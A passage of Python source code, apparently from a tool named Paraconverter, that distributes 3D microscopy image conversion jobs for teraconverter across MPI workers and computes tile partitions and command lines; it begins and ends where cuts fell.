len(queue)\r\n # @CHANGED by Giulio Iannello 2017-03-12\r\n if suspend_resume_enabled :\r\n rs_file = open(rs_fname, 'rb')\r\n done = pickle.load(rs_file)\r\n rs_file.close()\r\n else :\r\n done = []\r\n \r\n # constants to use as tags in communications\r\n WORKTAG = 1 \r\n DIETAG = 2\r\n nprocs = comm.Get_size()\r\n #queue = deque(queue) # deque to enable popping from the left \r\n # seed the workers by sending work to each proc\r\n for rank in range(1, min(len(queue)+1,nprocs)):\r\n # get the next input to work on \r\n input_file = pop_left(queue)\r\n while (input_file != None) and (list(input_file.keys())[0] in done) :\r\n input_file = pop_left(queue)\r\n if input_file == None :\r\n # the queue is empty, no more work to do\r\n break\r\n # send the next input to each rank\r\n comm.send(input_file, dest=rank, tag=WORKTAG) \r\n # Loop until there's no more work to do. If queue is empty skips the loop.\r\n \r\n print('DISPATCHER: first loop terminated')\r\n \r\n while (queue) :\r\n input_file = pop_left(queue)\r\n while (input_file != None) and (list(input_file.keys())[0] in done) :\r\n input_file = pop_left(queue)\r\n if input_file == None :\r\n # the queue is empty, no more work to do\r\n break\r\n # receive result from worker\r\n status = MPI.Status()\r\n flag = comm.recv(source=MPI.ANY_SOURCE, tag=MPI.ANY_TAG, status=status)\r\n if status.tag != 0 :\r\n raise ValueError(\"Wrong tag: a message signalling a finished task expected\")\r\n done.append(list(flag.keys())[0])\r\n if suspend_resume_enabled :\r\n # save new resume status\r\n rs_file = open(rs_fname, 'wb')\r\n pickle.dump(done,rs_file)\r\n rs_file.close()\r\n # send to the same worker new work\r\n comm.send(input_file, dest=status.source, tag=WORKTAG)\r\n \r\n print('DISPATCHER: second loop terminated')\r\n \r\n while len(done) < n_tasks :\r\n # receive result from worker\r\n status = MPI.Status()\r\n flag = comm.recv(source=MPI.ANY_SOURCE, tag=MPI.ANY_TAG, status=status)\r\n if status.tag != 0 :\r\n raise ValueError(\"Wrong tag: a message signalling a finished task expected\")\r\n done.append(list(flag.keys())[0])\r\n if suspend_resume_enabled :\r\n # save new resume status\r\n rs_file = open(rs_fname, 'wb')\r\n pickle.dump(done,rs_file)\r\n rs_file.close()\r\n \r\n print('DISPATCHER: third loop terminated')\r\n \r\n # there's no more work to do, so receive all the results from the workers\r\n status = MPI.Status()\r\n #flag = comm.recv(source=MPI.ANY_SOURCE, tag=0, status=status)\r\n # tell all the workers to exit by sending an empty message with the DIETAG\r\n for rank in range(1, nprocs):\r\n comm.send(0, dest=rank, tag=DIETAG)\r\n # Whait all task in order to exit\r\n for rank in range(1, nprocs):\r\n exit_m = comm.recv(source=rank, tag=1, status=status)\r\n if suspend_resume_enabled :\r\n os.remove(rs_fname) # 2017-02-05. Giulio. @ADDED remove the temporary file containing resume state \r\n\r\n\r\ndef worker():\r\n \"\"\"\r\n Worker process.\r\n \"\"\"\r\n myrank = comm.Get_rank()\r\n WORKTAG = 1 # constants to use as tags in communications\r\n DIETAG = 2\r\n while True:\r\n status = MPI.Status()\r\n input_name = comm.recv(source=0, tag=MPI.ANY_TAG, status=status)\r\n # check the tag of the received message\r\n if status.tag == DIETAG:\r\n end_signal = ['Exit cpu n. ', myrank]\r\n print (end_signal[0], end_signal[1])\r\n comm.send(end_signal, dest=0, tag=1)\r\n return\r\n\r\n # do the work\r\n result = launcher(input_name)\r\n comm.send(result, dest=0, tag=0)\r\n\r\n\r\n\r\n###############################################################################\r\n# #\r\n# -------------------- Paraconverter Service Functions ---------------------- # \r\n# #\r\n###############################################################################\r\n\r\ndef extract_params():\r\n \"\"\"\r\n Extract parameter from line of commands.\r\n Output: \r\n params = list of parameters from original command line\r\n \"\"\"\r\n params = (sys.argv)\r\n return params\r\n\r\n\r\ndef check_flag(params, string, delete):\r\n \"\"\"\r\n Check if a parameter (string) was beeen declared in the line of commands (params) and return the associated value.\r\n If delete is true the related string will be deleted\r\n If string is not present, return None\r\n Input:\r\n params = list of parameters from original command line\r\n string = string to be searched\r\n delete = Boolean variable to check if the selected string must be deleted after copied in value variable\r\n Output:\r\n value = parameter associated to the selected string\r\n \"\"\"\r\n i = 0\r\n value = None\r\n size = len(string)\r\n for line in params:\r\n tmp = line.find(string)\r\n if tmp != -1:\r\n start = tmp + size\r\n sel_string = line[start:]\r\n if delete :\r\n params.pop(i)\r\n value = sel_string\r\n i += 1\r\n return value\r\n\r\n\r\ndef read_params():\r\n \"\"\"\r\n Read parameters from input string and from a file\r\n Input: \r\n Output:\r\n input_name = Input file\r\n output_name = Standard output directory\r\n wb1 = Axprossimative depth for the tiles\r\n wb2 = Axprossimative height for the tiles\r\n wb3 = Axprossimative width for the tiles\r\n sfmt = Source format\r\n dfmt = Destination format\r\n iresolutions = List of integer values containing all the desidered values for level of resolution\r\n max_res = Maximum level of resolution available (integer)\r\n params = Array containing instruction derived from the remanent part of the imput string\r\n last_string = Remanent part of the input string\r\n height = Height of the input immage\r\n width = Width of the input immage\r\n depth = Depth of the input immage\r\n \"\"\"\r\n # Get the input list\r\n params = extract_params()\r\n params.pop(0)\r\n #Check if quoting is necessary\r\n params = check_double_quote(params)\r\n # 2017-03-13. Giulio. @COMMENTED command option --np \r\n # 2016-12-10. Giulio. @ADDED command option --np to initialize parameter gi_np\r\n #gi_np = read_item(params, '--np=', 1)\r\n #print(\"np is : \", gi_np) \r\n # Declare input file\r\n input_name = read_item(params, '-s=', './input.xml')\r\n # Find standard output directory\r\n output_name = read_item(params, '-d=', './OUT')\r\n # Declare axprossimative depth for the tiles\r\n wb1 = read_item(params, '--depth=', 256)\r\n # Declare axprossimative height for the tiles\r\n wb2 = read_item(params, '--height=', 256)\r\n # Declare axprossimative width for the tiles\r\n wb3 = read_item(params, '--width=', 256)\r\n # Declare source format\r\n sfmt = read_item(params, '--sfmt=', '\"TIFF (unstitched, 3D)\"')\r\n # Declare destination format\r\n dfmt = read_item(params, '--dfmt=', 'RGB')\r\n # Declare resolutions\r\n resolutions = read_item(params, '--resolutions=', '0')\r\n iresolutions = [int(resolutions[0])]\r\n len_res = len(resolutions)\r\n if len_res > 0:\r\n for i in range(1,len_res):\r\n iresolutions.append(int(resolutions[i]))\r\n max_res = max(iresolutions)\r\n # check isotropic flag\r\n isotropic = read_item(params, '--isotropic', 'False')\r\n if isotropic == '' : # isotropic has been set\r\n isotropic = True\r\n else :\r\n isotropic = False\r\n # check fixed_tiling flag\r\n fixed_tiling = read_item(params, '--fixed_tiling', 'False')\r\n if fixed_tiling == '' : # isotropic has been set\r\n params.append('--fixed_tiling') # the flag must be maintained in command line\r\n fixed_tiling = True\r\n else :\r\n fixed_tiling = False\r\n \r\n #------------- Added by Giulio: generate a temporary file with image size information\r\n \r\n info_string = 'teraconverter ' + ' --sfmt=' + sfmt + ' --dfmt=' + dfmt + ' -s=\"' + input_name + '\" -d=/'\r\n #pwd = check_output(\"pwd\",shell=True)\r\n #execution_string = prefix+info_string + ' --info=\"' + pwd.strip(\"\\n\") + '/__dims__.txt\"'\r\n execution_string = prefix+info_string + ' --info=\"' + os.getcwd() + '/__dims__.txt\"'\r\n os.system(execution_string)\r\n print (execution_string)\r\n\r\n #------------- End added by Giulio\r\n \r\n #Read from Internal Input file (--origin=file_in) HEIGHT, WIDTH, DEPTH (file_in is Name of the file containing the size of ouf computational domain in Voxel)\r\n file_in = read_item(params, '--origin=', os.getcwd() + '/__dims__.txt') # changed by Giulio: the --origin option is not needed any longer\r\n print(\"Origin file is: \", file_in)\r\n input_params_in_file = ['HEIGHT=', 'WIDTH=', 'DEPTH=', 'BYTESxCHAN=', 'DIM_C=', 'VXL_V=', 'VXL_H=', 'VXL_D=']\r\n params_from_file = search_for_entry(input_params_in_file,file_in)\r\n os.remove(os.getcwd() + '/__dims__.txt') # added by Giulio to remove the temporary file containing image size information\r\n # Create variables for HEIGHT, WIDTH and DEPTH\r\n height = int(params_from_file[0])\r\n width = int(params_from_file[1])\r\n depth = int(params_from_file[2])\r\n bytes_x_chan = int(params_from_file[3])\r\n n_chans = int(params_from_file[4])\r\n vxl_V = abs(float(params_from_file[5]))\r\n vxl_H = abs(float(params_from_file[6]))\r\n vxl_D = abs(float(params_from_file[7]))\r\n #if isotropic is set computes the halving rule to apply to dimension D\r\n if isotropic :\r\n # computes the number of halving to be performed along D\r\n vxlsz_Vx2 = 2 * vxl_V\r\n vxlsz_Hx2 = 2 * vxl_H\r\n vxlsz_D = vxl_D\r\n h = 0\r\n while h < max_res and max(vxlsz_Vx2,vxlsz_Hx2) < vxlsz_D :\r\n h += 1\r\n vxlsz_Vx2 *= 2;\r\n vxlsz_Hx2 *= 2;\r\n else :\r\n # halving along D dimension must be always performed\r\n h = 0\r\n max_res_D = max_res - h\r\n print(\"vxl_V, vxl_H, vxl_D, isotropic, h, max_res, max_res_D :\", vxl_V, vxl_H, vxl_D, isotropic, h, max_res, max_res_D)\r\n\r\n # Convert the remanent list of string input parameters into a single string\r\n last_string = collect_instructions(params)\r\n # Return values\r\n # 2016-12-10. Giulio. @ADDED parameter gi_np\r\n return (input_name, output_name, wb1, wb2, wb3, sfmt, dfmt, iresolutions, max_res, isotropic, max_res_D, params, last_string, height, width, depth, fixed_tiling, bytes_x_chan, n_chans)\r\n\r\n\r\n\r\ndef read_item(input_arr, item, default, message=True):\r\n \"\"\"\r\n Read the value related to \"item\" from the list \"input_arr\" and if no item are present set it to \"default\".\r\n Please note: The function convert the output to the same type of \"default\" variable\r\n Input:\r\n input_arr = List of strings from imput command line\r\n item = The item to search\r\n default = The default value if no item are present\r\n Output:\r\n value = Output value for the selected item\r\n \"\"\"\r\n tmp = check_flag(input_arr, item, True)\r\n if tmp == None:\r\n value = default\r\n if message:\r\n print (\"The value for \",item,\" was not declared. It will be set to\", value, \"by default.\")\r\n else:\r\n if isinstance(default,int):\r\n value = int(tmp)\r\n elif isinstance(default,float):\r\n value = float(tmp)\r\n else:\r\n value = tmp\r\n return value\r\n\r\n\r\n\r\ndef collect_instructions(inst):\r\n \"\"\"\r\n Collect the remanent part of a list of strings in a unique string\r\n Input:\r\n inst = Input list of strings\r\n Output:\r\n results = String containing all the elements of inst\r\n \"\"\"\r\n len_inst =len(inst)\r\n if len_inst > 0:\r\n for i in range(0,len_inst):\r\n if i == 0:\r\n results = str(inst[i])\r\n else:\r\n results = results + ' ' + str(inst[i])\r\n else:\r\n results = '' # if inst is empty a null string must be returned\r\n return results\r\n\r\n\r\n\r\ndef search_for_entry(string_2_serch,file_in, nline=0):\r\n \"\"\"\r\n Extract from the input file (file_in) up to the line number nline (if declared) the value assigned to string_2_serch.\r\n Input:\r\n string_2_serch = string (or list of string) containing the variable to search (e.g. 'HEIGHT=')\r\n file_in = name of the file containing the information we neeed (e.g: prova.txt or /pico/home/prova.txt)\r\n nline = optional, number of the final row of the file we need to analyze\r\n Output:\r\n Output = value or (list of values) assigned to the variable conteined in string_2_serch\r\n \"\"\"\r\n # Read the file\r\n i = 0\r\n data = [] \r\n f = open(file_in, 'r')\r\n for line in f:\r\n line = line.strip()\r\n l = line.split(' ', 1)\r\n data = data + l\r\n if (nline != 0) and (i > nline):\r\n break\r\n i += 1\r\n f.close()\r\n # Read the value/s from a table of string\r\n len_string = len(string_2_serch)\r\n if len_string <= 0:\r\n print(\"No possible options! No values will be created!\")\r\n elif len_string == 1:\r\n tmp = check_flag(data, string_2_serch[0],True)\r\n if tmp == None:\r\n output = '0'\r\n print (\"The name of \", string_2_serch,\" was not declared. It will be set to\", output, \"by default.\")\r\n else:\r\n output = tmp\r\n elif len_string > 1:\r\n ii = 0\r\n output = []\r\n for i in string_2_serch:\r\n tmp = check_flag(data, i,True)\r\n if tmp == None:\r\n output.append('0')\r\n print (\"The name of \", i,\" was not declared. It will be set to\", output[ii], \"by default.\")\r\n else:\r\n output.append(tmp)\r\n ii = ii + 1\r\n else:\r\n print(\"No possible options! No values will be created!\")\r\n return output\r\n\r\n\r\n\r\ndef sort_list (len_1, len_2, len_3):\r\n \"\"\"\r\n Create a list sorting the indexes along three directions:\r\n Input: \r\n len_1 = Number of elements of the array for the first index\r\n len_2 = Number of elements of the array for the second index\r\n len_3 = Number of elements of the array for the third index\r\n Output:\r\n order = An ordered list containig an a sequence of lists of 3 alements (one for each direction) that identify the position on the local index\r\n \"\"\"\r\n order =[]\r\n for i in range(0,len_1):\r\n for j in range(0,len_2):\r\n for k in range(0,len_3):\r\n order.append([i,j,k])\r\n return order\r\n\r\n\r\n\r\ndef sort_start_end(start_1, start_2, start_3, end_1, end_2, end_3,size_1, size_2, size_3):\r\n \"\"\"\r\n Sort start points and edn point in two lists of elements\r\n Input:\r\n start_1 = Array containing all the starting indexes for the tiles on the Depth direction\r\n start_2 = Array containing all the starting indexes for the tiles on the Height direction\r\n start_3 = Array containing all the starting indexes for the tiles on the Width direction\r\n end_1 = Array containing all the ending indexes for the tiles on the Depth direction\r\n end_2 = Array containing all the ending indexes for the tiles on the Height direction\r\n end_3 = Array containing all the ending indexes for the tiles on the Width direction\r\n size_1 = Array containing the size of the tile in the Depth direction\r\n size_2 = Array containing the size of the tile in the Height direction\r\n size_3 = Array containing the size of the tile in the Width direction\r\n Output:\r\n order = An ordered list containig an a sequence of lists of 3 alements (one for each direction) that identify the position on the local index \r\n start_list = Ordered list of lists of starting points. E.g.: [[width_in[0], height_in[0], depth_in[0]], [width_in[1], height_in[1], depth_in[1]], ... ,[width_in[N], height_in[N], depth_in[N]]]\r\n end_list = Ordered list of lists of starting points. E.g.: [[width_fin[0], height_fin[0], depth_in[0]], [width_fin[1], height_fin[1], depth_fin[1]], ... ,[width_fin[N], height_fin[N], depth_fin[N]]]\r\n len_arr = Dictionary containing elements like {index:[size_width(i),size_height(i),size_depth(i)],.....}\r\n \"\"\"\r\n len_1 = len(start_1)\r\n len_2 = len(start_2)\r\n len_3 = len(start_3)\r\n #call sort_list\r\n order = sort_list (len_1, len_2, len_3)\r\n len_list = len(order)\r\n start_list = []\r\n end_list = []\r\n len_arr = {}\r\n for i in range(0,len_list):\r\n tmp = [start_3[order[i][2]], start_2[order[i][1]],start_1[order[i][0]]]\r\n start_list.append(tmp)\r\n tmp = [end_3[order[i][2]], end_2[order[i][1]], end_1[order[i][0]]]\r\n end_list.append(tmp)\r\n tmp = [size_3[order[i][2]], size_2[order[i][1]], size_1[order[i][0]]]\r\n len_arr.update({i:tmp})\r\n return (order, start_list, end_list, len_arr)\r\n\r\n\r\n\r\ndef check_double_quote(inpstring):\r\n \"\"\"\r\n Check if some strings needs of a double quote (if some space are inside the string, it will need to be inside two double quote). E.g.: --sfmt=\"TIFF (unstitched, 3D)\"\r\n Input:\r\n inpstring: input string or array of strings\r\n Output:\r\n newstring = new string (or array of strings) corrected by quoting if necessary\r\n \"\"\"\r\n if type(inpstring) == list:\r\n newstring = []\r\n for index in inpstring:\r\n tmp1 = index.find(' ')\r\n if tmp1 != -1:\r\n tmp2 = index.find('\"')\r\n if tmp2 == -1:\r\n dummy = index.find('=')\r\n if dummy != -1:\r\n newstring.append(index[0:dummy+1] + '\"' + index[dummy+1:] + '\"')\r\n else:\r\n newstring.append('\"' + index + '\"')\r\n else:\r\n newstring.append(index)\r\n else:\r\n newstring.append(index)\r\n else:\r\n tmp1 = inpstring.find(' ')\r\n if tmp1 != -1:\r\n tmp2 = inpstring.find('\"')\r\n if tmp2 == -1:\r\n dummy = inpstring.find('=')\r\n if dummy != -1:\r\n newstring = inpstring[0:dummy+1] + '\"' + inpstring[dummy+1:] + '\"'\r\n else:\r\n newstring = '\"' + inpstring + '\"'\r\n else:\r\n newstring = inpstring\r\n else:\r\n newstring = inpstring\r\n return newstring\r\n\r\n\r\n\r\ndef eliminate_double_quote(inpstring) :\r\n \"\"\"\r\n Check if the string is already enclosed by quotes\r\n Input:\r\n inpstring: input string or array of strings\r\n Output:\r\n newstring = new string (or array of strings) corrected by eliminating enclosing quotes if any\r\n \"\"\"\r\n len_str = len(inpstring)\r\n if (inpstring[0] == '\"') and (inpstring[len_str-1] == '\"') or (inpstring[0] == \"'\") and (inpstring[len_str-1] == \"'\") :\r\n newstring = inpstring[1:len_str-1]\r\n return newstring\r\n \r\n\r\n\r\ndef generate_first_command(input_name, output_name, wb1, wb2, wb3, sfmt, dfmt, iresolutions, max_res,params, last_string):\r\n \"\"\"\r\n Generate first command line\r\n Input:\r\n input_name = Input file\r\n output_name = Standard output directory\r\n wb1 = Axprossimative depth for the tiles\r\n wb2 = Axprossimative height for the tiles\r\n wb3 = Axprossimative width for the tiles\r\n sfmt = Source format\r\n dfmt = Destination format\r\n iresolutions = List of integer values containing all the desidered values for level of resolution\r\n max_res = Maximum level of resolution available (integer)\r\n params = Array containing instruction derived from the remanent part of the imput string\r\n last_string = Remanent part of the input string\r\n Output:\r\n first_string = Command line to preprocess the data \r\n \"\"\"\r\n first_string = 'teraconverter ' + '--height=' + str(wb2)+ ' --width=' + str(wb3) \r\n first_string = first_string + ' --depth=' + str(wb1) + ' --sfmt=' + sfmt + ' --dfmt=' + dfmt\r\n tmp_res = ''\r\n for i in iresolutions:\r\n tmp_res = tmp_res + str(i)\r\n first_string = first_string + ' --resolutions=' + tmp_res + ' -s=\"' + input_name + '\" -d=\"' + output_name + '\" ' \r\n if (last_string != []):\r\n first_string = first_string + last_string \r\n first_string = first_string + ' --makedirs' \r\n return first_string\r\n\r\n\r\n\r\ndef generate_final_command(input_name, output_name, wb1, wb2, wb3, sfmt, dfmt, iresolutions, max_res,params, last_string):\r\n \"\"\"\r\n Generate last command line to merge metadata\r\n Input:\r\n input_name = Input file\r\n output_name = Standard output directory\r\n wb1 = Axprossimative depth for the tiles\r\n wb2 = Axprossimative height for the tiles\r\n wb3 = Axprossimative width for the tiles\r\n sfmt = Source format\r\n dfmt = Destination format\r\n iresolutions = List of integer values containing all the desidered values for level of resolution\r\n max_res = Maximum level of resolution available (integer)\r\n params = Array containing instruction derived from the remanent part of the imput string\r\n last_string = Remanent part of the input string\r\n Output:\r\n final_string = Command line to merge metadata \r\n \"\"\"\r\n final_string = 'teraconverter ' + '--height=' + str(wb2)+ ' --width=' + str(wb3) \r\n final_string = final_string + ' --depth=' + str(wb1) + ' --sfmt=' + sfmt + ' --dfmt=' + dfmt\r\n tmp_res = ''\r\n for i in iresolutions:\r\n tmp_res = tmp_res + str(i)\r\n final_string = final_string + ' --resolutions=' + tmp_res + ' -s=\"' + input_name + '\" -d=\"' + output_name + '\" ' \r\n if (last_string != []):\r\n final_string = final_string + last_string \r\n final_string = final_string + ' --metadata' \r\n return final_string\r\n\r\n\r\n\r\ndef generate_parallel_command(start_list, end_list, input_name, output_name, wb1, wb2, wb3, sfmt, dfmt, iresolutions, max_res,params, last_string):\r\n \"\"\"\r\n Generate the list of parallel command lines\r\n Input:\r\n start_list = Ordered list of lists of starting points. E.g.: [[width_in[0], height_in[0], depth_in[0]], [width_in[1], height_in[1], depth_in[1]], ... ,[width_in[N], height_in[N], depth_in[N]]]\r\n end_list = Ordered list of lists of starting points. E.g.: [[width_fin[0], height_fin[0], depth_in[0]], [width_fin[1], height_fin[1], depth_fin[1]], ... ,[width_fin[N], height_fin[N], depth_fin[N]]]\r\n input_name = Input file\r\n output_name = Standard output directory\r\n wb1 = Axprossimative depth for the tiles\r\n wb2 = Axprossimative height for the tiles\r\n wb3 = Axprossimative width for the tiles\r\n sfmt = Source format\r\n dfmt = Destination format\r\n iresolutions = List of integer values containing all the desidered values for level of resolution\r\n max_res = Maximum level of resolution available (integer)\r\n params = Array containing instruction derived from the remanent part of the imput string\r\n last_string = Remanent part of the input string\r\n Output:\r\n list_string = Dictionary of strings containing the command lines to process the data. E.G.: {i:command[i]} \r\n \"\"\"\r\n index = len(start_list)\r\n list_string = {}\r\n for i in range(0,index):\r\n dummy = ''\r\n dummy = 'teraconverter ' + '--height=' + str(wb2)+ ' --width=' + str(wb3) \r\n dummy = dummy + ' --depth=' + str(wb1) + ' --sfmt=' + sfmt + ' --dfmt=' + dfmt\r\n tmp_res = ''\r\n for j in iresolutions:\r\n tmp_res = tmp_res + str(j)\r\n dummy = dummy + ' --resolutions=' + tmp_res + ' -s=\"' + input_name + '\" -d=\"' + output_name + '\" ' \r\n if(last_string != []):\r\n dummy = dummy + last_string \r\n dummy = dummy + ' --parallel'\r\n dummy = dummy + ' --H0=' + str(start_list[i][0]) + ' --H1=' +str( end_list[i][0])\r\n dummy = dummy + ' --V0=' + str(start_list[i][1]) + ' --V1=' + str(end_list[i][1])\r\n dummy = dummy + ' --D0=' + str(start_list[i][2]) + ' --D1=' + str(end_list[i][2])\r\n list_string.update({i:dummy})\r\n return list_string\r\n\r\n\r\n\r\ndef opt_algo(D, w, n):\r\n \"\"\"\r\n Solves the tiling problem\r\n patitioning the interval [0, D-1] into k subintervals of size\r\n 2^n b and one final subinterval of size r = D - k 2^n b\r\n Input:\r\n D = dimension of the original array\r\n w = approximate estimation of value for b\r\n n = desideres level of refinement (e.g. : n = 0 => maximum level of refinement; n =1 => number of point divided by 2^1=2; n = 2 => number of point divided by 2^2=4;)\r\n Output:\r\n arr_sizes = [b, r, k, itera]\r\n b = normalized size of standard blocks (size of standard blocks = b * 2^n)\r\n r = rest (if not equal to 0, is the size of the last block)\r\n k = number of standard blocks\r\n itera = number of itarations to converge\r\n \"\"\"\r\n # step 1\r\n h = 0\r\n b_h = w\r\n k_h = math.floor(D/(math.pow(2.,n) * b_h))\r\n b = b_h\r\n r = D % (math.pow(2.,n) * b_h)\r\n k = k_h\r\n\r\n itera = 0\r\n verif = bool(1)\r\n while verif:\r\n # step 2\r\n if (D % (math.pow(2.,n) * b_h)) == 0:\r\n b = b_h\r\n r = 0\r\n k = k_h\r\n verif = bool(0) # exit form while cicle\r\n # step 3\r\n elif (D % (math.pow(2.,n) * b_h)) > r:\r\n b = b_h;\r\n r = (D % (math.pow(2.,n) * b_h));\r\n k = k_h;\r\n # step 4\r\n if h == math.floor(w/2):\r\n verif = bool(0) # exit form while cicle\r\n h = min( math.floor(w/2), h + max(1,math.floor(b_h - D/(math.pow(2.,n) * (k_h+1)))) );\r\n b_h = w - h;\r\n k_h = math.floor(D/(math.pow(2.,n) * b_h));\r\n itera = itera + 1;\r\n b = int(b)\r\n r = int(r)\r\n k = int(k)\r\n arr_sizes = [b, r, k, itera]\r\n return arr_sizes\r\n\r\n\r\ndef prep_array(wb, r, k):\r\n \"\"\"\r\n Create a 1D array containing the number of elements per tile.\r\n Input: \r\n wb = size of standard blocks\r\n r = rest (if not equal to 0, is the size of the last block)\r\n k = number of standard blocks\r\n Output:\r\n array = A list containing the number of element for every tiles.\r\n \"\"\"\r\n for i in range(0,k):\r\n if i == 0:\r\n array = [int(wb)]\r\n elif i > 0:\r\n array.append(int(wb))\r\n else:\r\n print ('Option not permitted!!!!!! i =',i)\r\n sys.exit(1)\r\n if r != 0:\r\n if k != 0:\r\n array.append(r)\r\n else:\r\n array = [r]\r\n return array\r\n\r\n\r\ndef create_sizes(size, wb, max_res, fixed_tiling=False, norest=False):\r\n \"\"\"\r\n Create a 3D array containing the size for each tile on the desidered direction\r\n Input: \r\n size = size (in pixel) of the input immage\r\n wb = Rough depth for the tiles in the desidered direction\r\n max_res = Maximum level of resolution available (integer)\r\n norest = Boolean variable to chech if we need of the last array element (if it is different from the preavious one)\r\n fixed_tiling = Boolean variable to force that all tiles except possibly the last one have a size that is equal to wb*2^max_res\r\n Output:\r\n arr = Array containing the size for each tile on the desidered direction\r\n \"\"\"\r\n if fixed_tiling :\r\n # make the partition\r\n b = wb\r\n wb = int(math.pow(2,max_res)*b)\r\n k = size // wb # it must be integer division\r\n r = size - (wb * k)\r\n if r < math.pow(2,max_res) :\r\n r = 0\r\n arr = prep_array(wb, r, k)\r\n else :\r\n # Make the partition\r\n values = opt_algo(size, wb, max_res)\r\n b = values[0]\r\n r = values[1]\r\n k = values[2]\r\n itera = values[3]\r\n wb = int(math.pow(2,max_res)*b)\r\n arr = prep_array(wb, r, k)\r\n if norest:\r\n tmp_len = len(arr)\r\n if arr[tmp_len-1] != arr[tmp_len-2]:\r\n print('Attention! : ', arr[tmp_len-1],' points was deleted!')\r\n arr.pop()\r\n return (arr)\r\n\r\n\r\ndef create_starts_end (array, start_point=0,open_dx=True):\r\n \"\"\"\r\n Create arrays containing all the starting and ending indexes for the tiles on the desidered direction\r\n Input:\r\n array = Array containing the size for each tile on the desidered direction\r\n start_point = Starting index for the input immage (optional)\r\n open_dx = If true (the default value) ==> ending indexes = subsequent starting indexes ==> Open end\r\n Output:\r\n star_arr = Array containing all the starting indexes for the tiles on the desidered direction\r\n end_arr = Array containing all the ending indexes for the tiles on the desidered direction\r\n \"\"\"\r\n len_arr = len(array)\r\n ind_arr = range(0, len_arr)\r\n start_arr = []\r\n end_arr = []\r\n if open_dx:\r\n dx_pad = 0\r\n else:\r\n dx_pad = -1\r\n for i in ind_arr:\r\n if i != 0:\r\n start_point = start_point + array[i-1]\r\n start_arr.append(start_point)\r\n end_point = start_point + array[i] + dx_pad\r\n end_arr.append(end_point)\r\n return (start_arr, end_arr)\r\n\r\n\r\n\r\ndef ctrl_parallelism (sfmt,dfmt) :\r\n partition_depth = True # parallelization can exploit depth (D) dimension\r\n partition_width = True # parallelization can exploit width (H) dimension \r\n partition_height = True # parallelization can exploit width (V) dimension \r\n \r\n if sfmt == \"TIFF (3D)\" or dfmt == \"TIFF (series, 2D)\" :\r\n # cannot read subregions along width or height of source, or cannot generate subregions of slices\r\n partition_width = False\r\n partition_height = False\r\n \r\n if sfmt == \"TIFF (series, 2D)\" :\r\n # cannot read subregions along width of source\r\n partition_width = False \r\n \r\n # for input tiled formats and unstitched volumes should check if tiling is small enough \r\n\r\n return (partition_depth,partition_width,partition_height)\r\n \r\n\r\n\r\ndef create_commands(gi_np,info=False): # 2016-12-10. Giulio. @ADDED parameter gi_np: desired parallelism\r\n \"\"\"\r\n Create commands to run in parallel\r\n Input:\r\n Output:\r\n first_string = String to initialize parallel computation\r\n list_string = Dictionary of strings containing the command lines to process the data. E.G.: {i:command[i]}\r\n len_arr = Dictionary containing elements like {index:[size_width(i),size_height(i),size_depth(i)],.....}\r\n final_string = String to merge all metadadata\r\n \"\"\"\r\n # Call function read_params\r\n # 2017-03-12. Giulio. @REMOVED parameter gi_np (it is passed from main)\r\n (input_name, output_name, wb1, wb2, wb3, sfmt, dfmt, iresolutions, max_res, isotropic, max_res_D, params, last_string, height, width, depth, fixed_tiling, bytes_x_chan, n_chans) = read_params()\r\n print(\"#\"*80)\r\n print(\"Input file = \", input_name) \r\n print(\"Output directory\", output_name)\r\n print(\"Rough depth for the tiles in width direction = \", wb3)\r\n print(\"Rough depth for the tiles in height direction = \", wb2)\r\n print(\"Rough depth for the tiles in depth direction = \", wb1)\r\n print(\"Source Format = \", sfmt)\r\n print(\"Destination Format = \", dfmt)\r\n print (\"Resolutions = \", iresolutions)\r\n print (\"Max Resolutions\", max_res)\r\n print ('Width (in voxel) of the immage = ', width)\r\n print ('Height (in voxel) of the immage = ', height)\r\n print ('Depth (in voxel) of the immage = ', depth)\r\n print(params)\r\n if isotropic :\r\n last_string = last_string + ' --isotropic'\r\n print(\"Last input elements of the original string = \", last_string)\r\n print(\"#\"*80)\r\n # Call create_sizes function to create 3 arrays containing the sizes for each tile on the Height, Width, Depth directions.\r\n size_1 = create_sizes(depth, wb1, max_res_D,fixed_tiling) # max_res_D = max_res if isotropic is not set of if voxels are isotropic\r\n size_2 = create_sizes(height, wb2, max_res,fixed_tiling)\r\n size_3 = create_sizes(width, wb3, max_res,fixed_tiling)\r\n \r\n # added by Giulio 2016-12-10\r\n #print(\"initial len of size1, size2, size3: \", len(size_1), \" - \", len(size_2), \" - \", len(size_3)) \r\n #print(\"initial values of size1, size2, size3: \", size_1, \" - \", size_2, \" - \", size_3) \r\n if dfmt == \"HDF5 (BigDataViewer)\" or dfmt == \"HDF5 (Imaris IMS)\" :\r\n raise ValueError(\"Paraconverter cannot be used with HDF5 output formats\")\r\n (partition_depth,partition_width,partition_height) = ctrl_parallelism(eliminate_double_quote(sfmt),eliminate_double_quote(dfmt))\r\n print('--------> ',eliminate_double_quote(sfmt),eliminate_double_quote(dfmt),partition_depth,partition_width,partition_height)\r\n if len(size_1) >= 2*gi_np or (not partition_width and not partition_height) : # parallelism along D is enough\r\n size_2 = [height]\r\n size_3 = [width]\r\n else : # more parallelism is desirable\r\n if ((len(size_1) * len(size_2)) >= 2*gi_np) or not partition_width : # add parallelism along V only\r\n size_3 = [width]\r\n # else use all available parallelism\r\n print(\"number of work units (Depth, Height, Width): \", len(size_1), len(size_2), len(size_3)) \r\n print(\"size of work units (Depth, Height, Width): \", size_1, size_2, size_3) \r\n # end added by Giulio\r\n \r\n if info :\r\n # return null values\r\n first_string = ''\r\n list_string = ''\r\n final_string = ''\r\n len_arr = 0\r\n # print info\r\n voxel_num = round(1.1 * gi_np *(size_2[0] * size_3[0] * max(64,pow(2,max_res))) * n_chans * bytes_x_chan / (1024 * 1024 * 1024), 3)\r\n print(\"#\"*80)\r\n print('Memory needed for ' + str(gi_np) + ' concurrent processes: ' + str(voxel_num) + ' GBytes') \r\n print(\"#\"*80)\r\n else : \r\n # Call create_starts_end function to create 6 arrays containing the starting and ending points for each tile on the Height, Width, Depth directions. \r\n (start_3,end_3) = create_starts_end(size_3,0)\r\n (start_2,end_2) = create_starts_end(size_2,0)\r\n (start_1,end_1) = create_starts_end(size_1,0)\r\n # Call sort_start_end to sort start points and end point in two lists of elements\r\n (order, start_list, end_list, len_arr) = sort_start_end(start_1, start_2, start_3, end_1, end_2, end_3,size_1, size_2, size_3)\r\n # Generate the string to initialize parallel computation\r\n first_string = generate_first_command(input_name, output_name, wb1, wb2, wb3, sfmt, dfmt, iresolutions, max_res, params, last_string)\r\n # Generate the list of parallel command lines\r\n list_string = 